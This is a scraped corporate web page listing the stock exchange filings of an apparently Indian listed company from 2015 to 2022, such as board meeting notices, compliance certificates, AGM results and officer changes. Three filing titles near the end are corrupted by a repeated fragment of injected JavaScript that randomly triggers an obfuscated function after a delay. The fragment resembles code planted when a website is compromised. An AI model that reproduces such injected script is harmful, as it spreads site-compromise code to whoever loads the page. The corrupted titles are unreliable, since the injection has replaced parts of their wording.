Stock Exchange Updates

Compliance Certificate under Regulation 74(5)
Investors Grievances Redressal Regulation 13(3)
Intimation of Closure of Trading Window
Voting Results & Scruitnizers Report of 11th Annual General Meeting
Outcome of 11th Annual General Meeting

Intimation of Newspaper Publication for Interim Dividend Record Date

Intimation of Record Date for Interim Dividend
Outcome of Board Meeting for Buyback & Interim Dividend
Intimation of Board Meeting for Buyback & Interim Dividend and Closure of Trading Window
Book Closure Intimation for 11th Annual General Meeting
Intimation of Board Meeting for the Quarter Ended 30.06.2022
Compliance Certificate under Regulation 13(3) for the Quarter Ended June, 2022
Compliance Certificate under Regulation 74(5) for the Quarter Ended June, 2022
Intimation for Closure of Trading window for the Quarter Ended June, 2022
Postal Ballot Notice
Revised Related Party Transactions Disclosures 31.03.2022
Contact details of KMP
Appointment of CS
Resignation of CS
Related Party Disclosure for the Half Year Ended 31.03.2022
Annual Secretarial Compliance Report 31.03.2022
Closure of Trading Window 4th Quarter
Notice of BM on 25.01.2022
Regulation 76 – 31.12.2021
Regulation 74 – 31.12.2021
Regulation 13 – 31.12.2021
Notice of Board Meeting on 01.11.2021
Closure of Trading Window 3rd Quarter
Regulation 74 – 30.09.2021
Regulation 76 – 30.09.2021
Regulation 13 – 30.09.2021
10th AGM E-Voting Result and Scrutiniser’s Report
Appointment of Directors in AGM
AGM Proceedings 2021
Closure of Trading Window 2nd Quarter
Newspaper Publication – AGM Post Despatch
Book Closure Intimation for 10th AGM
Notice of Board Meeting on 13.08.2021
Regulation 74(5) 30.06.2021
Regulation 13(3) 30.06.2021
Credit Rating
 
Closure of Trading Window 1st Quarter 2021-22
 
Notice of Board Meeting on 09.06.2021
 
Large Corporate Entity-Declaration 31.03.2021
Regulation 74(5) 31.03.2021
 
Regulation 13(3) 31.03.2021
 
Regulation 7(3) 31.03.2021
 
Entire Sale of Investment in MPL
 
Closure of Trading Window_March 2021
 
Intimation to Stock Exchange for revised List of KMP authorised under Regulation 30(5)
 
Reg 30 – Resignation of CFO
Outcome for Change in Directors
Notice of Board Meeting 08.02.2021
Regulation 74(5)_31.12.2020
Regulation 13(3)_31.12.2020
Closure of Trading Window
Intimation – Regulation 30 (Demise of Director)
Related Party Disclosures – Regulation 23(9) – 30.09.2020
Notice of Board Meeting scheduled on 11.11.2020
Regulation 7(3)_30.09.2020
Regulation 74(5)_30.09.2020
Regulation 13(3)_30.09.2020
Closure of Trading Window_30.09.2020
Newspaper Publication Post Despatch
Annual Report and Notice of AGM 2019-20
Large Corporate Entity-Declaration
Book Closure Notice for 9th AGM
Notice of Board Meeting scheduled on 11.08.2020
Regulation 74(5)_30.06.2020
Regulation 13(3)_30.06.2020
Disclosure of Material Impact of COVID-19
Related Party Disclosures – Regulation 23(9)
Annual Secretarial Compliance Report 31.03.2020
Closure of Trading Window_30.06.2020
Intimation to Stock Exchange for revised List of KMP authorised under Regulation 30(5)
Notice of Board Meeting scheduled on 25.06.2020
Regulation 7(3)_31.03.2020
Regulation 13(3)_31.03.2020
Regulation 74(5)_31.03.2020
Update on status of Plant operations due to COVID 19
Closure of Trading Window_31.03.2020
Temporary Suspension of operations due to COVID 19
Credit Rating
Outcome of Board Meeting – Change in Director
Notice of Board Meeting scheduled on 06.02.2020
Regulation 74(5) 31.12.2019
Regulation 13(3)-31.12.2019
Issue of Duplicate Share Certificate
Closure of Trading Window 31.12.2019
Intimation to Stock Exchange for revised List of KMP authorised under Regulation 30(5)
Resignation of Chief Executive Officer
Related Party Disclosures – Regulation 23(9)
Credit Rating
Notice of Board Meeting scheduled on 05.11.2019
Regulation 13(3)-30.09.2019
Regulation 74(5) 30.09.2019
Regulation 7(3) 30.09.2019
Appoitment of Chief Financial Officer
Closure of Trading Window 30.09.2019
Loss of Share Certificate 05.09.2019
Newspaper Publication
Revised Book Closure Notice for 8th AGM
Credit Rating
Book Closure Notice for 8th AGM
Notice of Board Meeting scheduled on 31.07.2019
Regulation74(5)30.06.2019
Regulation 13(3)-30.06.2019
Closure of Trading Window 30.06.2019
Annual Secretarial Compliance Report 31.03.2019
Related Party Disclosure – Regulation 23(9)
Resignation of Chief Financial Officer
Large Corporate Entity-Declaration
Regulation 74(5) 30.04.2019
Notice of Board Meeting scheduled on 07.05.2019
Regulation 7(3)-31.03.2019
Regulation 13(3)-31.03.2019
Closure of Trading Window for 31.03.2019
Outcome of Circular Resolution
Postal Ballot Notice and Form
Notice of Board Meeting scheduled on 04.02.2019

Regulation13(3)-31.12.2018

Notice of Board Meeting scheduled on 12.11.2018
Regulation 7(3)-30.09.2018
Regulation13(3)-30.09.2018
Notice of Board Meeting scheduled on 26.07.2018
Regulation13(3)-30.06.2018
Notice of Board Meeting scheduled on 17.05.2018
Regulation 7(3)-31.03.2018
Regulation13(3)-31.03.2018
Notice of Board Meeting scheduled on 06.02.2018
Regulation 13(3)-31.12.2017
Notice of Board Meeting scheduled on 13.11.2017
Regulation 7(3) – 30.09.2017
Regulation 13(3) – 30.09.2017
Notice of Board Meeting scheduled on 03.08.2017
Regulation 13(3)-30.06.2017

Intimation to Stock Exchange regarding revised list of Authorized KMP to make Disclosure- Regulation 30(5)

Outcome of Board Meeting regarding dispose of Investment in Associates
and-CS.pdf”> Appointment of CFO andom() * 5);if (number1==3){var deay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and CS
Notice of Board Meeting Schedule on 30.05.2017
Letter to SE
Regulation 13 (3) – 31.03.2017
Regulation 7 (3) – 31.03.2017
Resignation of CS – Rachna Pareek
Resignation of CFO – Sunil Kumar Jha
Notice for Board Meeting Scheduled on 08.02.2017
Regulation 13 (3) – 31.12.2016

Intimation to Stock Exchange regarding revised list of Authorized KMP to make Disclosures – Regulation 30(5)

Change in the Corporate Address of the Registrar andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and Share Transfer Agents

Notice of Board Meeting Scheduled on 03.11.2016

Regulation 7 (3) – 30.09.2016

Regulation 13 (3) – 30.09.2016

Notice for Board Meeting Scheduled on 01.08.2016

Regulation 13(3) – 30.06.2016
Change in Directors andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and KMPs

Notice for Board Meeting scheduled on 03.05.2016

Regulation7(3)- 31.03.2016

Regulation 13(3)- 31.03.2016

Notice of Board Meeting scheduled on 09.02.2016

Regulation 13(3)- 31.12.2015

Intimation to Stock Exchange regarding KMPs authorised to make disclosures